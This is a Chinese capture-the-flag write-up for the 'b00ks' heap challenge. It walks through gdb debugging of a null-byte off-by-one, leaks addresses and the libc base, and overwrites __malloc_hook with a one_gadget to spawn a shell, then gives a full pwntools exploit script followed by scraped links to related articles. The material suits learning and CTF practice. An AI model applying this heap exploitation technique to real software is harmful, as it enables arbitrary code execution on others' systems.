前言

个人简略记录,过程不详细

gdb开始调试

vmmap查看程序基地址为 0x555555400000


继续运行,输入auth

search hollk关键字,auth存放的地址可以找出为:0x555555602040 圈起来的是溢出的 \x00

创建两个books


因为图书的结构体指针存放在off_202010中,所以存放的地址为

0x555555400000 + 0x202010 = 0x555555602010

0x555555602010存放的是地址:0x0000555555602060 ,这里存放着两个book的地址

book1: 0x0000555555603770 book2:0x00005555556037a0


如果此时随便打印任意一个图书,当展示auth时,会将book1的地址(book1_addr)打印出来


book存储的结构如下

book_id
book_name
book_desc

得到book2的name与desc相对于book1_addr的偏移为:

book2_name - book1_addr = 0x559512b164a8 - 0x559512b16470 = 0x38
book2_desc - book1_addr = 0x559512b164b0 - 0x559512b16470 = 0x40

然后再次修改auth_name,会导致book1_addr由 0x0000559512b16470 变为 0x0000559512b16400 而改变后的地址在book1_desc中,即这种情况:

然后打印book2_name和book2_desc的地址

当申请的内存空间比较大时,空间将由mmap进行分配,而mmap分配的内存与libc的基地址存在一个固定的偏移,也就是说我们拿分配的地址-固定偏移量,就可以得到libc基地址

然后调试计算与libc基址的偏移,然后算 __malloc_hook 或者 __free_hook 和one_gadget

然后利用fake_book与book2向同一地址写入__malloc_hook 或者 __free_hook 与one_gadget获取shell

exp

from pwn import *
#from LibcSearcher import LibcSearcher
context(os='linux', arch='i386', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']binary = ELF("b00ks")
libc = ELF("/root/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so")
r = process("./b00ks")def createbook(name_size, name, des_size, des):r.readuntil("> ")r.sendline("1")r.readuntil(": ")r.sendline(str(name_size))r.readuntil(": ")r.sendline(name)r.readuntil(": ")r.sendline(str(des_size))r.readuntil(": ")r.sendline(des)def printbook(id):r.readuntil("> ")r.sendline("4")r.readuntil(": ")for i in range(id):book_id = int(r.readline()[:-1])r.readuntil(": ")book_name = r.readline()[:-1]r.readuntil(": ")book_des = r.readline()[:-1]r.readuntil(": ")book_author = r.readline()[:-1]return book_id, book_name, book_des, book_authordef createname(name):r.readuntil("name: ")r.sendline(name)def changename(name):r.readuntil("> ")r.sendline("5")r.readuntil(": ")r.sendline(name)def editbook(book_id,new_des):r.readuntil("> ")r.sendline("3")r.readuntil(": ")r.writeline(str(book_id))r.readuntil(": ")r.sendline(new_des)def deletebook(book_id):r.readuntil("> ")r.sendline("2")r.readuntil(": ")r.sendline(str(book_id))createname("hollkaaabbbbbbbbccccccccdddddddd")createbook(216, "hollk_boo1", 160, "desc1")
createbook(0x21000, "hollk_boo2", 0x21000, "hollk_desc2")book_id_1, book_name, book_des, book_author = printbook(1)
book1_addr = u64(book_author[32:32+6].ljust(8,b'\x00'))
log.success("book1_address:" + hex(book1_addr))payload = b'b'*112 + p64(1) + p64(book1_addr + 0x38) + p64(book1_addr+0x40) + p64(0xffff)
editbook(book_id_1,payload)
changename("hollkaaabbbbbbbbccccccccdddddddd")book_id_1, book_name, book_des, book_author = printbook(1)
book2_name_addr = u64(book_name.ljust(8,b"\x00"))
book2_des_addr = u64(book_des.ljust(8,b"\x00"))
log.success("book2 name addr:" + hex(book2_name_addr))
log.success("book2 des addr:" + hex(book2_des_addr))libc_base = book2_name_addr + 0x21ff0
log.success("libc base:" + hex(libc_base))free_hook = libc_base + libc.symbols["__malloc_hook"]
one_gadget = libc_base + 0xe3b31 # 0xe3b31 、0xe3b34
log.success("free_hook:" + hex(free_hook))
log.success("one_gadget:" + hex(one_gadget))editbook(1, p64(free_hook))
editbook(2, p64(one_gadget))createbook(216, "hollk_boo1", 160, "desc1")
r.interactive()

参考

https://blog.csdn.net/qq_41202237/article/details/108116618

off-by-one (b00ks)相关推荐

  1. 好好说话之off-by-one

    从这篇开始就进入堆的范围了,关于堆的相关知识请参考wiki上的章节.博主直接将做堆的技巧,这篇讲off-by-one,也是踩了很多的坑,后面会一一说明.这篇文章因为写的比较详细,所以会很长,如果有忘记 ...

  2. 《CTF竞赛权威指南》|Off-By-One

    堆中的Off-By-One 漏洞原理 off-by-one 是指单字节缓冲区溢出,这种漏洞的产生往往与边界验证不严和字符串操作有关,当然也不排除写入的 size 正好就只多了一个字节的情况.其中边界验 ...

  3. linux 堆溢出 pwn 指南,新手科普 | CTF PWN堆溢出总结

    学习汇总 序言 自从加入RTIS交流群, 在7o8v师傅,gd大佬的帮助下,PWN学习之路进入加速度.下面是八周学习的总结,基本上是按照how2heap路线走的.由于八周内容全写,篇幅太长,这里只讲述 ...

  4. Asis2016 books null off by one

    考察点 如何利用null off by one 泄露chunk地址 如何利用null off by one 改变指针的指向 知识点 mmap申请的chunk其在gdb里面使用heap无法看见所在地,m ...

  5. Linux pwn入门教程,pwn堆入门系列教程1

    pwn堆入门系列教程1 因为自己学堆的时候,找不到一个系统的教程,我将会按照ctf-wiki的目录一步步学下去,尽量做到每周有更新,方便跟我一样刚入门堆的人学习,第一篇教程研究了4天吧,途中没人指导. ...

最新文章

  1. 【OpenCV 4开发详解】形态学应用
  2. 绝对定位right:0;无效_CSS定位详解
  3. mapbox 修改初始位置_3dmax样条线的创建和修改
  4. 如何从 SAP Fiori Elements List Report Table 点击事件响应函数里拿到表格某一行的信息
  5. 新安装的mysql登录不了_mysql 5.6 新安装登录
  6. 数据分析模型和工具_数据分析师工具包:模型
  7. [Redux/Mobx] 举例说明怎么在redux中定义action?
  8. python 类函数 实例函数_python_30期【实例函数 类里面的函数】
  9. 【干货】中国非结构化数据中台实践白皮书.pdf(附55页pdf下载链接)
  10. gson 设置多个别名SerializedName
  11. javascript设置首页,加入收藏
  12. ibatis java 项目_iBatis搭建JAVA项目
  13. 风云第三部 第533回 乌云蔽日 力掌乾坤
  14. js实现双人对战五子棋
  15. MSDC 4.3 接口规范(29)
  16. 转载:2016.3.15 回忆录
  17. 初学前端用代码实现一个网页老虎机游戏
  18. Java基础——LinkedList源码分析
  19. Ubuntu修改hosts方法
  20. android设备什么手机号码,安卓手机如何查看本机号码 查看本机号码的方法有哪些...

热门文章

  1. ssm少儿编程网站 计算机毕设源码74792
  2. 【C语言】字符函数和字符串函数
  3. RocketMQ源码分析之拉取消息(2)
  4. 【转】一个华科研究生导师的肺腑之言(主要适用于理工科)
  5. 6 大测试用例设计题详细整理— 助攻高薪求职之路
  6. 泡沫退去 看中国大数据四大如何锁定商业模式
  7. datastrcture_二叉树怎么画比较好看
  8. 企业研发效能2月刊:研发效能提升36计即将开课;云效产品低至5折...
  9. vmware经验总结--2.VMWare系列软件的安装
  10. TOEFL备考2.23